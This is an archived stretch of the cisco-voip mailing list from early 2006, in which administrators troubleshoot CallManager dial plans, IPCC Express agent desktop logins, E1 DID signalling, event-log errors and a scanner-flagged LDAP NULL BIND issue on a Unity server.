maintaining the connection long enough for any messages to be heard.  I 
spent a hour or so with Mr Verizon this morning and he eventually confirmed 
that their switch (GTD5) could not provide the audible messages heard on an 
analog phone. There was some confusion toward the end of our conversation 
when he said that if I held the call longer, I could hear the message, but 
since the 3640 disconnects in response to Verizon's Release Complete, that 
didn't make much sense to me. Bottom line -- I'm sending an e-mail to our 
users telling them that if this happens, they dialed incorrectly, please 
check the number and dial again.

Mike Armstrong
UF/IFAS CREC
Lake Alfred, FL

> Date: Wed, 25 Jan 2006 15:00:53 -0500
> From: "Mike Armstrong" <mfa at crec.ifas.ufl.edu>
> Subject: [cisco-voip] PSTN connection terminated before error message
> To: <cisco-voip at puck.nether.net>
> Message-ID: <016f01c621ea$0c2d7f50$400cfb0a at crec.ifas.ufl.edu>
> Content-Type: text/plain; format=flowed; charset="iso-8859-1";
> reply-type=original
>
> A user here inadvertently dialed a number in the same area code, but 
> outside
> the local calling area -- i.e., she dialed 94411244 when she should have
> dialed 818634411244.  (9-local, 8-LD).  As soon as "To 94411244" was 
> displayed on
> the 7940, the screen was wiped to an on-hook indication.  Placing the same
> call on a directly connected PSTN station, you hear ring tone, then after 
> a few seconds the
> intercept tones, then a message: "Your long-distance carrier cannot
> completeyour call as dialed...".  Is there any way to configure 
> CallManager
> (or, more likely, the router) to maintain the connection so that the user
> will hear the error message? 


From lelio at uoguelph.ca  Mon Feb  6 11:13:48 2006
From: lelio at uoguelph.ca (Lelio Fulgenzi)
Date: Mon Feb  6 11:13:51 2006
Subject: [cisco-voip] OffTopic: How do I remove a domain from a RADIUS
	authentication process?
Message-ID: <00f901c62b38$4fa6eb20$30196883@cfs.uoguelph.ca>

The people in this group are always on the ball, so I thought I'd try here.

I'm trying to setup a test 802.1x/WPA wireless authentication with a Cisco wireless to an ACS v4.0 radius authentication server. I can setup authenticate with "my windows userID/password" but it sends the domain across as well and the authentication fails.

Anyone know how to tell ACS to ignore domain information?


--------------------------------------------------------------------------------
Lelio Fulgenzi, B.A.
Network Analyst (CCS) * University of Guelph * Guelph, Ontario N1G 2W1
(519) 824-4120 x56354 (519) 767-1060 FAX (JNHN)
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ 
"I had a coffee and Coke at lunch today...and now, I've got more jitter than an
IP phone on a long haul 10base2 connection"                                           LFJ
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From davidp at bostonpost.com  Mon Feb  6 11:14:42 2006
From: davidp at bostonpost.com (David Pitkin)
Date: Mon Feb  6 11:14:50 2006
Subject: [cisco-voip] IPCC Express Co-Resident and DESKTOP_CONFIG directory
Message-ID: <4DEBDDAFBB23C04BA17EFE39144421130174200F@exchange.bostonpost.com>

 

Hi,

 

I have an IPCC 3.5(2) server co-resident with my call manager. I would
like to use the Agent Desktop applications but after an install when I
start the Agent application I get an authentication error trying to
connect to \\CALLMANAGER\DESKTOP_CONFIG\
<file:///\\CALLMANAGER\DESKTOP_CONFIG\>  for an ini file.

 

The Call Manager is not a member of my Windows Domain so client computer
can not authenticate with it. I tried adding Anonymous login to the
share and security settings but I was still unable to open that
directory.

 

Are IPCC servers usually members of the windows domain like Unity?

 

David [ p. 603-669-8553 x6908 e. davidp at bostonpost.com ]

 

 

David Pitkin

e. davidp at bostonpost.com
p. 603-669-8553 x6908

m. 508-308-4084

f. 603-669-0085

 

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From Scott.Voll at wesd.org  Mon Feb  6 11:27:56 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb  6 11:28:06 2006
Subject: [cisco-voip] IPCC Express Co-Resident and DESKTOP_CONFIG directory
Message-ID: <D713462ED535184D830F6F6301753E7E01BE12B1@VISHNU.wesd.org>

In IPCCx 3.x you have to add a login for each agent to the IPCC server.
( I really hated that, but it's fixed in ver. 4.0)

 

I don't' have a link off hand but you can setup a username / password on
the server, then create a BAT file to login.  Add the bat file to the
login and then it works.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of David Pitkin
Sent: Monday, February 06, 2006 8:15 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] IPCC Express Co-Resident and DESKTOP_CONFIG
directory

 

 

Hi,

 

I have an IPCC 3.5(2) server co-resident with my call manager. I would
like to use the Agent Desktop applications but after an install when I
start the Agent application I get an authentication error trying to
connect to \\CALLMANAGER\DESKTOP_CONFIG\
<file:///\\CALLMANAGER\DESKTOP_CONFIG\>  for an ini file.

 

The Call Manager is not a member of my Windows Domain so client computer
can not authenticate with it. I tried adding Anonymous login to the
share and security settings but I was still unable to open that
directory.

 

Are IPCC servers usually members of the windows domain like Unity?

 

David [ p. 603-669-8553 x6908 e. davidp at bostonpost.com ]

 

 

David Pitkin

e. davidp at bostonpost.com
p. 603-669-8553 x6908

m. 508-308-4084

f. 603-669-0085

 

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From jonvoip at gmail.com  Mon Feb  6 11:29:08 2006
From: jonvoip at gmail.com (Jonathan Charles)
Date: Mon Feb  6 11:29:12 2006
Subject: [cisco-voip] Re: IPCC 3.5(2) with Nuance TTS - Historical Reporting
	Problem
In-Reply-To: <5d093f9a0602030914m1e19d923kabeabab821072fc@mail.gmail.com>
References: <5d093f9a0602030914m1e19d923kabeabab821072fc@mail.gmail.com>
Message-ID: <5d093f9a0602060829s1c65978et42b72a783041060a@mail.gmail.com>

Well, restarting the engine (and rebooting the cluster) has had no effect.
In fact, now one of the CSQs shows no calls at all.

It is actually getting worse...

On 2/3/06, Jonathan Charles <jonvoip at gmail.com> wrote:
>
> Calls show up in the real-time report, but only half of them show up in
> the historical reporting. Cust does not have SP1 installed (when we tried to
> install SP1, the RASCAL server stopped working).
>
> Cust had a time/date problem (incorrect on the server), but has not
> restarted the engine since correcting, having user restart the engine to see
> if that corrects the problem.
>
> Any ideas if it doesn't?
>
>
>
> Jonathan
>
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From steve.siltman at assurant.com  Mon Feb  6 13:28:54 2006
From: steve.siltman at assurant.com (steve.siltman@assurant.com)
Date: Mon Feb  6 13:29:28 2006
Subject: [cisco-voip] Re: Dialing 9 for outside line
In-Reply-To: <200602041700.k14H07QO037703@puck.nether.net>
Message-ID: <OF55176DCE.8D1A713E-ON8525710D.0064AC56-8625710D.006585CB@assurant.com>

Here's a fun one.  I'm using a route pattern 9.XXXXXXX for local 7 digit 
dialing.  When I dial 9 for an outside line.. I don't hear dial tone until 
I've pressed another number. 

Example:
Dialing 9 then a 5 (now I hear dial tone) then another 5 (dial tone goes 
away) and the next 5 digits and the call routes fine.

Thanks for any input.

Steve Siltman
Assurant, Inc.
Senior Network Analyst
Work: 651-361-4752
Cell: 651-336-5563
steve.siltman at assurant.com
**************************************************************************************
This e-mail message and all attachments transmitted with it may contain legally privileged and/or confidential information intended solely for the use of the addressee(s). If the reader of this message is not the intended recipient, you are hereby notified that any reading, dissemination, distribution, copying, forwarding or other use of this message or its attachments is strictly prohibited. If you have received this message in error, please notify the sender immediately and delete this message and all copies and backups thereof.

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**************************************************************************************
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From rratliff at cisco.com  Mon Feb  6 13:34:39 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Mon Feb  6 13:34:34 2006
Subject: [cisco-voip] Re: Dialing 9 for outside line
In-Reply-To: <OF55176DCE.8D1A713E-ON8525710D.0064AC56-8625710D.006585CB@assurant.com>
References: <OF55176DCE.8D1A713E-ON8525710D.0064AC56-8625710D.006585CB@assurant.com>
Message-ID: <B23A8FA1-8408-4B0E-9B92-A6D50C6113A6@cisco.com>

You've got a number somewhere that begins with 9 (or a wildcard) and  
isn't flagged to provide outside dialtone.

CM will only play outside dialtone once every potential match to the  
digit string has "provide outside dialtone" set.

Any route patterns or translation patterns that begin with X?

-Ryan

On Feb 6, 2006, at 1:28 PM, steve.siltman at assurant.com wrote:


Here's a fun one.  I'm using a route pattern 9.XXXXXXX for local 7  
digit dialing.  When I dial 9 for an outside line.. I don't hear dial  
tone until I've pressed another number.

Example:
Dialing 9 then a 5 (now I hear dial tone) then another 5 (dial tone  
goes away) and the next 5 digits and the call routes fine.

Thanks for any input.

Steve Siltman
Assurant, Inc.
Senior Network Analyst
Work: 651-361-4752
Cell: 651-336-5563
steve.siltman at assurant.com

This e-mail message and all attachments transmitted with it may  
contain legally privileged and/or confidential information intended  
solely for the use of the addressee(s). If the reader of this message  
is not the intended recipient, you are hereby notified that any  
reading, dissemination, distribution, copying, forwarding or other  
use of this message or its attachments is strictly prohibited. If you  
have received this message in error, please notify the sender  
immediately and delete this message and all copies and backups thereof.

Thank you.


_______________________________________________
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From CMStaffin at ra.rockwell.com  Mon Feb  6 13:38:13 2006
From: CMStaffin at ra.rockwell.com (Craig M Staffin)
Date: Mon Feb  6 13:38:06 2006
Subject: [cisco-voip] Re: Dialing 9 for outside line
Message-ID: <OF6861034B.6387B608-ON8625710D.0066399B-8625710D.006651B9@ra.rockwell.com>

Steve,

This happens when you have overlapping dial plans.  The reason you hear 
the dial tone after the second digit is becasue thats when it finally 
matches to the 9.XXXXXXX

Take a look at your routeplan and find the overlapping dialplan.





steve.siltman at assurant.com
Sent by: cisco-voip-bounces at puck.nether.net
02/06/2006 12:28 PM

 
        To:     cisco-voip at puck.nether.net
        cc: 
        Subject:        [cisco-voip] Re: Dialing 9 for outside line



Here's a fun one.  I'm using a route pattern 9.XXXXXXX for local 7 digit 
dialing.  When I dial 9 for an outside line.. I don't hear dial tone until 
I've pressed another number.   

Example: 
Dialing 9 then a 5 (now I hear dial tone) then another 5 (dial tone goes 
away) and the next 5 digits and the call routes fine. 

Thanks for any input. 

Steve Siltman
Assurant, Inc.
Senior Network Analyst
Work: 651-361-4752
Cell: 651-336-5563
steve.siltman at assurant.com 
This e-mail message and all attachments transmitted with it may contain 
legally privileged and/or confidential information intended solely for the 
use of the addressee(s). If the reader of this message is not the intended 
recipient, you are hereby notified that any reading, dissemination, 
distribution, copying, forwarding or other use of this message or its 
attachments is strictly prohibited. If you have received this message in 
error, please notify the sender immediately and delete this message and 
all copies and backups thereof.
Thank you.
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From erickbe at yahoo.com  Mon Feb  6 14:12:57 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Mon Feb  6 14:13:05 2006
Subject: [cisco-voip] MLA error in event log every 10 seconds or so
In-Reply-To: <OF6861034B.6387B608-ON8625710D.0066399B-8625710D.006651B9@ra.rockwell.com>
Message-ID: <20060206191257.30395.qmail@web34307.mail.mud.yahoo.com>

Seeing this on CCM 4.1(3)sr1. Happens roughly every 10
seconds or so. MLA is set to false and debug level is
set to none. Have found some similar bug id's on this
error below but not for MLA directory, but all those
fixed in older CCM versions. The MLA folder specified
does exist and has files in it.

Event Type:	Error
Event Source:	Cisco CallManager
Event Category:	None
Event ID:	3
Date:		2/6/2006
Time:		11:08:28 AM
User:		N/A
Computer:	CCM1
Description:
Error: GetNewFileName-fopen in wb mode failed to
update existing file.
szFileNumberName = C:\Program 
Files\Cisco\Trace\MLA\ISAPIFilter~num.bin.

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
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From rratliff at cisco.com  Mon Feb  6 14:17:09 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Mon Feb  6 14:22:27 2006
Subject: [cisco-voip] MLA error in event log every 10 seconds or so
In-Reply-To: <20060206191257.30395.qmail@web34307.mail.mud.yahoo.com>
References: <20060206191257.30395.qmail@web34307.mail.mud.yahoo.com>
Message-ID: <BF87C207-95BF-4808-B27A-DD506D2CC940@cisco.com>

Got CSA installed?  If so what version?

-Ryan

On Feb 6, 2006, at 2:12 PM, Erick Bergquist wrote:

Seeing this on CCM 4.1(3)sr1. Happens roughly every 10
seconds or so. MLA is set to false and debug level is
set to none. Have found some similar bug id's on this
error below but not for MLA directory, but all those
fixed in older CCM versions. The MLA folder specified
does exist and has files in it.

Event Type:	Error
Event Source:	Cisco CallManager
Event Category:	None
Event ID:	3
Date:		2/6/2006
Time:		11:08:28 AM
User:		N/A
Computer:	CCM1
Description:
Error: GetNewFileName-fopen in wb mode failed to
update existing file.
szFileNumberName = C:\Program
Files\Cisco\Trace\MLA\ISAPIFilter~num.bin.

__________________________________________________
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From erickbe at yahoo.com  Mon Feb  6 14:56:57 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Mon Feb  6 14:57:05 2006
Subject: [cisco-voip] MLA error in event log every 10 seconds or so
In-Reply-To: <BF87C207-95BF-4808-B27A-DD506D2CC940@cisco.com>
Message-ID: <20060206195657.4788.qmail@web34304.mail.mud.yahoo.com>

CSA is installed, 4.03 build 736

--- Ryan Ratliff <rratliff at cisco.com> wrote:

> Got CSA installed?  If so what version?
> 
> -Ryan
> 
> On Feb 6, 2006, at 2:12 PM, Erick Bergquist wrote:
> 
> Seeing this on CCM 4.1(3)sr1. Happens roughly every
> 10
> seconds or so. MLA is set to false and debug level
> is
> set to none. Have found some similar bug id's on
> this
> error below but not for MLA directory, but all those
> fixed in older CCM versions. The MLA folder
> specified
> does exist and has files in it.
> 
> Event Type:	Error
> Event Source:	Cisco CallManager
> Event Category:	None
> Event ID:	3
> Date:		2/6/2006
> Time:		11:08:28 AM
> User:		N/A
> Computer:	CCM1
> Description:
> Error: GetNewFileName-fopen in wb mode failed to
> update existing file.
> szFileNumberName = C:\Program
> Files\Cisco\Trace\MLA\ISAPIFilter~num.bin.
> 
> __________________________________________________
> Do You Yahoo!?
> Tired of spam?  Yahoo! Mail has the best spam
> protection around
> http://mail.yahoo.com
> _______________________________________________
> cisco-voip mailing list
> cisco-voip at puck.nether.net
> https://puck.nether.net/mailman/listinfo/cisco-voip
> 
> 


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Tired of spam?  Yahoo! Mail has the best spam protection around 
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From Matt.Slaga at us.didata.com  Mon Feb  6 15:01:47 2006
From: Matt.Slaga at us.didata.com (Matt Slaga (US))
Date: Mon Feb  6 15:02:23 2006
Subject: [cisco-voip] IPCC Express Co-Resident and DESKTOP_CONFIG directory
Message-ID: <C1FE15183DA37645BC0633BC604E44F0D69CDC@USNAEXCH.na.didata.local>

I use the following batch file for ipcc express 3.x deployments.  Place
it in the \\server\desktop_cfg directory and run it to copy it to the
agent's startup folder.  Create a user icduser with password icduser and
grant change access the the desktop_cfg folder.  Notes are out to the
side of each line.
 
@Echo Off
@Echo =======================================
@Echo =======Do Not Close This Window========
@Echo =======================================
@Echo =         =  
@Echo =Wait to open your Cisco Agent Desktop= 
@Echo =until this batch file completes.     =
@echo =          =
@Echo =           =
@echo =======================================
Net Use \\10.132.5.16\Desktop_cfg /USER:icduser icduser   - blind net
use to access the directory
REM net use \\10.132.11.254\AudioFiles /user:icduser icduser  -- for
supervisor audio directory  
copy \\10.132.5.16\desktop_cfg\Desktop\Agentins\JTAPI\jtapi.jar
"C:\Program Files\Cisco\Desktop\bin\CiscoJTAPIClient\Lib" /Y   -
whenever JTAPI version is upgraded, this alleviates updating all the
agent desktops with the "hotfixes"
copy \\10.132.5.16\desktop_cfg\cisco.bat "C:\WINNT\Profiles\All
Users\Start Menu\Programs\Startup" /Y   - each time the agent logs in,
it copies the batch file down again.  That way you can make one change
to this batch file and propogate it out to all agent desktops.
 
 

 
 


________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Voll, Scott
Sent: Monday, February 06, 2006 11:28 AM
To: David Pitkin; cisco-voip at puck.nether.net
Subject: RE: [cisco-voip] IPCC Express Co-Resident and DESKTOP_CONFIG
directory



In IPCCx 3.x you have to add a login for each agent to the IPCC server.
( I really hated that, but it's fixed in ver. 4.0)

 

I don't' have a link off hand but you can setup a username / password on
the server, then create a BAT file to login.  Add the bat file to the
login and then it works.

 

Scott

 

________________________________

From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of David Pitkin
Sent: Monday, February 06, 2006 8:15 AM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] IPCC Express Co-Resident and DESKTOP_CONFIG
directory

 

 

Hi,

 

I have an IPCC 3.5(2) server co-resident with my call manager. I would
like to use the Agent Desktop applications but after an install when I
start the Agent application I get an authentication error trying to
connect to \\CALLMANAGER\DESKTOP_CONFIG\
<file:///\\CALLMANAGER\DESKTOP_CONFIG\>  for an ini file.

 

The Call Manager is not a member of my Windows Domain so client computer
can not authenticate with it. I tried adding Anonymous login to the
share and security settings but I was still unable to open that
directory.

 

Are IPCC servers usually members of the windows domain like Unity?

 

David [ p. 603-669-8553 x6908 e. davidp at bostonpost.com ]

 

 

David Pitkin

e. davidp at bostonpost.com
p. 603-669-8553 x6908

m. 508-308-4084

f. 603-669-0085

 




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From tennille.spence at gsa.gov  Mon Feb  6 15:42:25 2006
From: tennille.spence at gsa.gov (tennille.spence@gsa.gov)
Date: Mon Feb  6 15:42:39 2006
Subject: [cisco-voip] Disable NULL BIND on your LDAP serve
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE12B1@VISHNU.wesd.org>
Message-ID: <OF2DCD4679.5FD2B168-ON8625710D.00715C7A-8625710D.0071BF3B@gsa.gov>


Hi,
                                                                           
 We have quarterly vulnerability                                           
 scans on our servers and this LDAP                                        
 vulnerability always comes back up                                        
 for my Unity Voicemail Server. I                                          
 have tried unsuccessfully to address                                      
 this  issue. Is anyone aware of a                                         
 patch release for this or specific                                        
 instructions on how to address the                                        
 vulnerability?                                                            
                                                                           
 "Disable NULL BIND on your LDAP                                           
 server. In addition the LDAP bind                                         
 function in Exchange 5.5 has a                                            
 buffer overflow that allows a user                                        
 to conduct a denial of service or                                         
 execute commands in all versions                                          
 prior to exchange server SP2.                                             
 Coupled with a NULL BIND, an                                              
 anonymous user can mount a remote                                         
 attack against your server."                                              
                                                                           
 Tennille Spence                                                           
 IT Business Liaison                                                       
 PBS Technology Branch                                                     
 816-823-1357 Office                                                       
 816-806-6342 Cell                                                         
 816-823-5526 Fax                                                          
                                                                           
 "What lies behind us and what lies                                        
 before us are tiny matters compared                                       
 to what lies within us." - Ralph                                          
 Waldo Emerson                                                             
                                                                           
 "Opportunity is missed by most                                            
 people because it is dressed in                                           
 overalls and looks like work." -                                          
 Thomas A. Edison                                                          
                                                                           





From Scott.Voll at wesd.org  Mon Feb  6 18:49:47 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Mon Feb  6 18:49:58 2006
Subject: [cisco-voip] Translation pattern
Message-ID: <D713462ED535184D830F6F6301753E7E01BE12E2@VISHNU.wesd.org>

Quick question-

 

Can you setup a translation pattern of 481x to translate to 431x and
have it match 1 to 1 and 2 to 2 and 3 to 3, etc or do you have to setup
a translation for each number?

 

Thanks

 

Scott

 

 

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From pnowicki at neo.rr.com  Mon Feb  6 19:04:01 2006
From: pnowicki at neo.rr.com (pnowicki@neo.rr.com)
Date: Mon Feb  6 19:04:06 2006
Subject: [cisco-voip] Translation pattern
Message-ID: <296ed1b296b1e7.296b1e7296ed1b@columbus.rr.com>

HI Scott,
If I understand your question correctly, you should be able to do that 
with one pattern. Have that pattern be 481X and have the called number 
transformation mask be 431X. For that matter, you could do 481.X. Do a 
pre dot strip and prefix 431. Either one should work ...assuming that I 
understood your question correctly ;-)...

-Patrick
-------------- next part --------------
Quick question-

 

Can you setup a translation pattern of 481x to translate to 431x and
have it match 1 to 1 and 2 to 2 and 3 to 3, etc or do you have to setup
a translation for each number?

 

Thanks

 

Scott

 

 

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From sfahmy at istnetworks.com  Tue Feb  7 02:27:13 2006
From: sfahmy at istnetworks.com (Sherif Fahmy)
Date: Tue Feb  7 02:27:47 2006
Subject: [cisco-voip] DID
Message-ID: <27313.212.138.47.29.1139297233.squirrel@212.138.47.29>

Hey All,

i have an e1 that has both did/dod on it
the dod is working okay with us however the did we are having a problem...

when we call the extenstion from an external number the phone rings but
when you pick up there is nothing and the calling phone is still trying to
ring... the thing is the caller doesnt get a tone thats says its calling
the other party.. and also when the called party recieves the ringing and
hangs up ... it starts ringing again ...
it is as if the caller can signal the called party but the called party
cannot tell the  the calling party that it recieved the phone call


we thought maybe there is a problem with a firewall on the customer
premsis where it blocks the call manager from sending a signal to say the
call has arrived but we dont have a firewall that blocks that

the configuration is below


dial-peer voice 2 pots
 destination-pattern .T
 incoming called-number .T
 direct-inward-dial
 port 7/6:0




voice-port 7/6:0
 compand-type a-law


controller E1 7/6
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-semi-compelled
 cas-custom 0
  country saudiarabia


Any Input at this point will be helpful

From netchildccie at hotmail.com  Tue Feb  7 03:01:39 2006
From: netchildccie at hotmail.com (netchild ccie)
Date: Tue Feb  7 03:01:45 2006
Subject: [cisco-voip] ATA 188 and modem pass-thru
Message-ID: <BAY111-F775FAEE43CA9DA31C275AD6010@phx.gbl>

Dear All,

I have one problem that I do not know how to solve it out :(

Let's me explain it in breif. We have Point of Sales devices which you can 
consider them as pc with modem. I configured Cisco ATA188 with h323 image. I 
connect my point of sales into this ata. The call did not go throu and 
sometime, you can hear the model voice but the call disconnected.

>From Cisco site, it is mention that ATA will not support modem pass thru.


Is there any other ATA in market can do the job?! Does anyone have a 
workaround?!

Thank you,
NetChild,



From erickbe at yahoo.com  Tue Feb  7 10:03:01 2006
From: erickbe at yahoo.com (Erick Bergquist)
Date: Tue Feb  7 10:03:10 2006
Subject: [cisco-voip] *fixed* MLA error in event log every 10 seconds or so
In-Reply-To: <20060206195657.4788.qmail@web34304.mail.mud.yahoo.com>
Message-ID: <20060207150301.1038.qmail@web34302.mail.mud.yahoo.com>

FYI... problem was caused by having unity CSA
installed on CCM.

--- Erick Bergquist <erickbe at yahoo.com> wrote:

> CSA is installed, 4.03 build 736
> 
> --- Ryan Ratliff <rratliff at cisco.com> wrote:
> 
> > Got CSA installed?  If so what version?
> > 
> > -Ryan
> > 
> > On Feb 6, 2006, at 2:12 PM, Erick Bergquist wrote:
> > 
> > Seeing this on CCM 4.1(3)sr1. Happens roughly
> every
> > 10
> > seconds or so. MLA is set to false and debug level
> > is
> > set to none. Have found some similar bug id's on
> > this
> > error below but not for MLA directory, but all
> those
> > fixed in older CCM versions. The MLA folder
> > specified
> > does exist and has files in it.
> > 
> > Event Type:	Error
> > Event Source:	Cisco CallManager
> > Event Category:	None
> > Event ID:	3
> > Date:		2/6/2006
> > Time:		11:08:28 AM
> > User:		N/A
> > Computer:	CCM1
> > Description:
> > Error: GetNewFileName-fopen in wb mode failed to
> > update existing file.
> > szFileNumberName = C:\Program
> > Files\Cisco\Trace\MLA\ISAPIFilter~num.bin.

"Many of life's failures are people who
did not realize how close they were to
success when they gave up."
                     - Thomas A. Edison

__________________________________________________
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around 
http://mail.yahoo.com 

From Ruben.Montes at eu.didata.com  Tue Feb  7 10:31:51 2006
From: Ruben.Montes at eu.didata.com (Ruben Montes (EU))
Date: Tue Feb  7 10:31:55 2006
Subject: [cisco-voip] Translate Calling Number
Message-ID: <D305A0848689344BB98F14A3F13161B71D299C@eubebrusvex.eu.didata.local>

Hi,

I'm using MGCP protocol and I want to do a translation on the calling
number. 
Number 028281347 calls 85264 (p.e.): I want to strip the 028 to the
calling number, that is a number 'behind' an analog PBX connected with a
QSIG to the gateway.
Which translation pattern should I create?

Regards,

Ruben

-----Mensaje original-----
De: Wes Sisk [mailto:wsisk at cisco.com] 
Enviado el: jueves, 02 de febrero de 2006 3:02
Para: Ruben Montes (EU)
CC: cisco-voip at puck.nether.net
Asunto: Re: [cisco-voip] Applying mgcp changes

No, changes will not be propagated.

Take a look in the CCM traces at the time you see an error similar to:
MGCPBhHandler 10.1.230.10 - ERROR - MGCPNotificationRequest for  
reset: TCP Mgt not supported by the GW.  Sending MGCP err back to  
reload device. GWTCPOpened=1, GWRegistered=1|<CLID::CM3-Cluster><NID:: 
11.1.235.50><CT::1,100,86,1.25><IP::><DEV::>

Basically indicating CM cannot send the change notification to the  
gateway.

'no mgcp' , 'mgcp'
will be required.

/Wes



On Feb 1, 2006, at 11:31 AM, Ruben Montes ((EU)) wrote:

Hi,

if I'm not using the ccm-manager config and ccm-manager config server  
commands, when I do a change in the CCM MGCP endpoint page and I  
reset the gateway, is this change applied in the gateway?

I want to change the call classification from 'Use system default' to  
'OnNet'. How could I now if changes have been correctly propagated?

Thanks in advance,

Regards,

Ruben

_______________________________________________
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From Scott.Voll at wesd.org  Tue Feb  7 10:54:24 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb  7 10:54:42 2006
Subject: [cisco-voip] DID
Message-ID: <D713462ED535184D830F6F6301753E7E01BE12FB@VISHNU.wesd.org>

Couple questions:

MGCP or H323?

If H323 where is your VoIP dial peers?

What version of CM are you running?

Scott

-----Original Message-----
From: cisco-voip-bounces at puck.nether.net
[mailto:cisco-voip-bounces at puck.nether.net] On Behalf Of Sherif Fahmy
Sent: Monday, February 06, 2006 11:27 PM
To: cisco-voip at puck.nether.net
Subject: [cisco-voip] DID

Hey All,

i have an e1 that has both did/dod on it
the dod is working okay with us however the did we are having a
problem...

when we call the extenstion from an external number the phone rings but
when you pick up there is nothing and the calling phone is still trying
to
ring... the thing is the caller doesnt get a tone thats says its calling
the other party.. and also when the called party recieves the ringing
and
hangs up ... it starts ringing again ...
it is as if the caller can signal the called party but the called party
cannot tell the  the calling party that it recieved the phone call


we thought maybe there is a problem with a firewall on the customer
premsis where it blocks the call manager from sending a signal to say
the
call has arrived but we dont have a firewall that blocks that

the configuration is below


dial-peer voice 2 pots
 destination-pattern .T
 incoming called-number .T
 direct-inward-dial
 port 7/6:0




voice-port 7/6:0
 compand-type a-law


controller E1 7/6
 framing NO-CRC4
 ds0-group 0 timeslots 1-15,17-31 type r2-digital r2-semi-compelled
 cas-custom 0
  country saudiarabia


Any Input at this point will be helpful
_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip


From Scott.Voll at wesd.org  Tue Feb  7 11:02:22 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb  7 11:02:32 2006
Subject: [cisco-voip] CM 4.1.3sr1 to sr2
Message-ID: <D713462ED535184D830F6F6301753E7E01BE12FD@VISHNU.wesd.org>

Has anyone had any problems with upgrading CM 4.1.3sr1 to sr2 that is
integrated with AD.

 

It seems after the upgrade my JTAPI Users got messed up.  I don't know
how, but it looks like they are all using the same Jtapi User for all
the different application I have that use JTAPI which is causing
application to fail.  

 

Can someone confirm or deny?

 

Scott

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From rratliff at cisco.com  Tue Feb  7 11:16:43 2006
From: rratliff at cisco.com (Ryan Ratliff)
Date: Tue Feb  7 11:16:37 2006
Subject: [cisco-voip] CM 4.1.3sr1 to sr2
In-Reply-To: <D713462ED535184D830F6F6301753E7E01BE12FD@VISHNU.wesd.org>
References: <D713462ED535184D830F6F6301753E7E01BE12FD@VISHNU.wesd.org>
Message-ID: <5D0F5010-E6D2-47DB-91A0-7502D9D9067D@cisco.com>

The user your application uses is configured on the application not  
in the CM.  How would a CM upgrade change your application config?

-Ryan

On Feb 7, 2006, at 11:02 AM, Voll, Scott wrote:

Has anyone had any problems with upgrading CM 4.1.3sr1 to sr2 that is  
integrated with AD.



It seems after the upgrade my JTAPI Users got messed up.  I don?t  
know how, but it looks like they are all using the same Jtapi User  
for all the different application I have that use JTAPI which is  
causing application to fail.



Can someone confirm or deny?



Scott

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



From cisco at dignans.com  Tue Feb  7 11:25:40 2006
From: cisco at dignans.com (Andrew Dignan)
Date: Tue Feb  7 11:25:43 2006
Subject: [cisco-voip] tcl script
Message-ID: <28089.69.211.234.147.1139329540.squirrel@www.dignans.com>

Worth a shot....

Anyone have a tcl script that will take the rdnis number and shove it into
the calling number field?

AT&T doesn't support RDNIS so if I can get the RDNIS number into the
calling number field I can send cfna, cfb calls in SRST to an IPCC script
and the hub site, snag the calling number in the IVR script, and redirect
it to that number.

From Scott.Voll at wesd.org  Tue Feb  7 11:28:18 2006
From: Scott.Voll at wesd.org (Voll, Scott)
Date: Tue Feb  7 11:28:27 2006
Subject: [cisco-voip] CM 4.1.3sr1 to sr2
Message-ID: <D713462ED535184D830F6F6301753E7E01BE12FE@VISHNU.wesd.org>

The problem is that I have multiple Jtapi users (each called different
things)  one for each application (Berbee, Traverse, IPCCx, etc).

I know the Traverse one for sure all of a sudden has Phones, CTI ports,
and route points associated that was not associated before.  Now I'm
going through and unassociating those phone, cti ports and RP.

Scott

-----Original Message-----
From: Ryan Ratliff [mailto:rratliff at cisco.com] 
Sent: Tuesday, February 07, 2006 8:17 AM
To: Voll, Scott
Cc: cisco-voip at puck.nether.net
Subject: Re: [cisco-voip] CM 4.1.3sr1 to sr2

The user your application uses is configured on the application not  
in the CM.  How would a CM upgrade change your application config?

-Ryan

On Feb 7, 2006, at 11:02 AM, Voll, Scott wrote:

Has anyone had any problems with upgrading CM 4.1.3sr1 to sr2 that is  
integrated with AD.



It seems after the upgrade my JTAPI Users got messed up.  I don't  
know how, but it looks like they are all using the same Jtapi User  
for all the different application I have that use JTAPI which is  
causing application to fail.



Can someone confirm or deny?



Scott

_______________________________________________
cisco-voip mailing list
cisco-voip at puck.nether.net
https://puck.nether.net/mailman/listinfo/cisco-voip



From cisco-voip at ipglobal.net  Tue Feb  7 12:11:29 2006
From: cisco-voip at ipglobal.net (IPGN C-VoIP)
Date: Tue Feb  7 12:11:36 2006
Subject: [cisco-voip] Media Gateway Rec
Message-ID: <200602071711.k17HBXMl078689@puck.nether.net>

Our company is looking at acquiring an AS5400XM as a media gateway for our
voip platform.  Our particular configuration simply requires support for 4
PRIs with accompanying DSPs and SIP.  We don't have a need, at the moment,
for some of the more advanced features such as TDM switching but like it's
capacity for growth.

Is anyone using this platform in a similar environment with comments on
performance?  

